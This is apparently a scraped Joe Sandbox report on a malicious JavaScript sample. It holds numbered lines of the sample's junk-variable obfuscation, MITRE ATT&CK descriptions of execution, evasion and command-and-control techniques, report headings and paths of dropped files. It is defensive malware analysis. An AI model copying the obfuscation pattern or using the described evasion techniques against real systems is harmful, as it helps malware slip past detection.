1232	zjmpxul = "j";
1233	zjmpxul = "B";
1234	zjmpxul = "o";
1235	zjmpxul = "I";
1236	zjmpxul = "C";
1237	zjmpxul = "H";
1238	zjmpxul = "g";
1239	zjmpxul = "f";
1240	zjmpxul = "J";
1241	zjmpxul = "i";
1242	zjmpxul = "k";
1243	zjmpxul = "X";
1244	zjmpxul = "N";
1245	zjmpxul = "U";
1246	zjmpxul = "K";
1247	zjmpxul = "k";
1248	zjmpxul = "w";
1249	zjmpxul = "F";
1250	zjmpxul = "B";
1251	zjmpxul = "w";
1252	tpvdl = "p";
1253	tpvdl = "t";
1254	tpvdl = "N";
1255	tpvdl = "F";
1256	tpvdl = "M";
1257	tpvdl = "I";
1258	tpvdl = "i";
1259	tpvdl = "i";
1260	tpvdl = "M";
1261	tpvdl = "l";
1262	tpvdl = "W";
1263	tpvdl = "w";
1264	tpvdl = "F";
1265	tpvdl = "t";
1266	tpvdl = "Z";
1267	tpvdl = "B";
1268	tpvdl = "r";
1269	tpvdl = "e";
1270	tpvdl = "T";
1271	comer = "O";
1272	comer = "s";
1273	comer = "c";
1274	comer = "W";
1275	comer = "g";
1276	avpexfi = "w";
1277	avpexfi = "P";
1278	avpexfi = "y";
1279	avpexfi = "d";
1280	avpexfi = "Y";
1281	avpexfi = "r";
1282	avpexfi = "s";
1283	avpexfi = "M";
1284	avpexfi = "J";
1285	avpexfi = "L";
1286	avpexfi = "J";
1287	avpexfi = "D";
1288	avpexfi = "W";
1289	avpexfi = "D";
1290	avpexfi = "O";
1291	avpexfi = "u";
1292	avpexfi = "B";
1293	avpexfi = "d";
1294	avpexfi = "o";
1295	avpexfi = "g";
1296	avpexfi = "Z";
1297	avpexfi = "K";
1298	avpexfi = "u";
1299	avpexfi = "b";
1300	avpexfi = "N";
1301	avpexfi = "Q";
1302	avpexfi = "A";
1303	avpexfi = "W";
1304	avpexfi = "k";
1305	avpexfi = "k";
1306	avpexfi = "m";
1307	avpexfi = "D";
1308	avpexfi = "C";
1309	avpexfi = "U";
1310	avpexfi = "g";
1311	avpexfi = "Q";
1312	avpexfi = "E";
1313	avpexfi = "v";
1314	bivthyj = "w";
1315	bivthyj = "G";
1316	bivthyj = "R";
1317	bivthyj = "i";
1318	bivthyj = "C";
1319	bivthyj = "S";
1320	bivthyj = "A";
1321	bivthyj = "y";
1322	bivthyj = "H";
1323	bivthyj = "p";
1324	bivthyj = "f";
1325	bivthyj = "Y";
1326	bivthyj = "y";
1327	bivthyj = "n";
1328	bivthyj = "q";
1329	bivthyj = "F";
1330	bivthyj = "f";
1331	bivthyj = "B";
1332	bivthyj = "r";
1333	bivthyj = "j";
1334	bivthyj = "x";
1335	bivthyj = "k";
1336	bivthyj = "I";
1337	bivthyj = "x";
1338	bivthyj = "i";
1339	bivthyj = "Q";
1340	bivthyj = "I";
1341	bivthyj = "Z";
1342	bivthyj = "q";
1343	bivthyj = "Y";
1344	bivthyj = "y";
1345	bivthyj = "l";
1346	bivthyj = "H";
1347	eyjumzy = "U";
1348	eyjumzy = "L";
1349	eyjumzy = "I";
1350	eyjumzy = "S";
1351	eyjumzy = "K";
1352	eyjumzy = "c";
1353	eyjumzy = "w";
1354	eyjumzy = "b";
1355	eyjumzy = "P";
1356	eyjumzy = "P";
1357	eyjumzy = "L";
1358	eyjumzy = "y";
1359	eyjumzy = "G";
1360	eyjumzy = "f";
1361	eyjumzy = "W";
1362	eyjumzy = "o";
1363	eyjumzy = "d";
1364	eyjumzy = "p";
1365	eyjumzy = "Z";
1366	eyjumzy = "y";
1367	eyjumzy = "F";
1368	eyjumzy = "1";
1369	mjlkyj = "q";
1370	mjlkyj = "y";
1371	mjlkyj = "u";
1372	mjlkyj = "i";
1373	mjlkyj = "V";
1374	mjlkyj = "Q";
1375	mjlkyj = "I";
1376	mjlkyj = "k";
1377	mjlkyj = "Q";
1378	mjlkyj = "n";
1379	mjlkyj = "t";
1380	mjlkyj = "a";
1381	mjlkyj = "A";
1382	mjlkyj = "j";
1383	mjlkyj = "F";
1384	mjlkyj = "b";
1385	mjlkyj = "k";
1386	mjlkyj = "d";
1387	mjlkyj = "T";
1388	mjlkyj = "u";
1389	mjlkyj = "W";
1390	mjlkyj = "I";
1391	mjlkyj = "i";
1392	mjlkyj = "J";
1393	mjlkyj = "k";
1394	mjlkyj = "q";
1395	djylimib = "l";
1396	djylimib = "Z";
1397	djylimib = "D";
1398	djylimib = "F";
1399	djylimib = "E";
1400	djylimib = "q";
1401	djylimib = "y";
1402	djylimib = "v";
1403	djylimib = "F";
1404	djylimib = "H";
1405	djylimib = "c";
1406	djylimib = "i";
1407	tykqvvbc = "D";
1408	tykqvvbc = "W";
1409	tykqvvbc = "Z";
1410	tykqvvbc = "I";
1411	tykqvvbc = "z";
1412	tykqvvbc = "x";
1413	tykqvvbc = "P";
1414	tykqvvbc = "k";
1415	tykqvvbc = "A";
1416	tykqvvbc = "V";
1417	tykqvvbc = "U";
1418	tykqvvbc = "K";
1419	tykqvvbc = "e";
1420	tykqvvbc = "o";
1421	tykqvvbc = "C";
1422	tykqvvbc = "y";
1423	tykqvvbc = "R";
1424	tykqvvbc = "E";
1425	tykqvvbc = "j";
1426	tykqvvbc = "A";
1427	tykqvvbc = "N";
1428	tykqvvbc = "T";
1429	tykqvvbc = "p";
1430	tykqvvbc = "B";
1431	tykqvvbc = "J";
1432	tykqvvbc = "l";
1433	tykqvvbc = "L";
1434	tykqvvbc = "s";
1435	tykqvvbc = "\"";
1436	qfmzq = "N";
1437	qfmzq = "s";
1438	qfmzq = "A";
1439	qfmzq = "S";
1440	qfmzq = "s";
1441	qfmzq = "Z";
1442	qfmzq = "A";
1443	qfmzq = "H";
1444	qfmzq = "B";
1445	qfmzq = "c";
1446	qfmzq = "v";
1447	qfmzq = "w";
1448	qfmzq = "E";
1449	qfmzq = "i";
1450	qfmzq = "t";
1451	qfmzq = "r";
1452	qfmzq = "v";
1453	qfmzq = "o";
1454	qfmzq = "B";
1455	qfmzq = "p";
1456	qfmzq = "f";
1457	qfmzq = "j";
1458	hmvbcv = "w";
1459	hmvbcv = "j";
1460	hmvbcv = "E";
1461	hmvbcv = "p";
1462	hmvbcv = "W";
1463	hmvbcv = "S";
1464	hmvbcv = "N";
1465	hmvbcv = "G";
1466	hmvbcv = "y";
1467	hmvbcv = "i";
1468	hmvbcv = "o";
1469	hmvbcv = "E";
1470	wygdfh = "f";
1471	wygdfh = "T";
1472	wygdfh = "x";
1473	wygdfh = "Z";
1474	wygdfh = "I";
1475	wygdfh = "B";
1476	wygdfh = "L";
1477	wygdfh = "R";
1478	wygdfh = "q";
1479	wygdfh = "d";
1480	wygdfh = "h";
1481	wygdfh = "s";
1482	wygdfh = "g";
1483	wygdfh = "w";
1484	wygdfh = "R";
1485	wygdfh = "n";
1486	wygdfh = "p";
1487	wygdfh = "Z";
1488	wygdfh = "Y";
1489	gptdbkmq ( );	gptdbkmq() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 4702309321830413443.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ee44c721-9003-450f-ae84-a92972456f27.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
4702309321830413443.js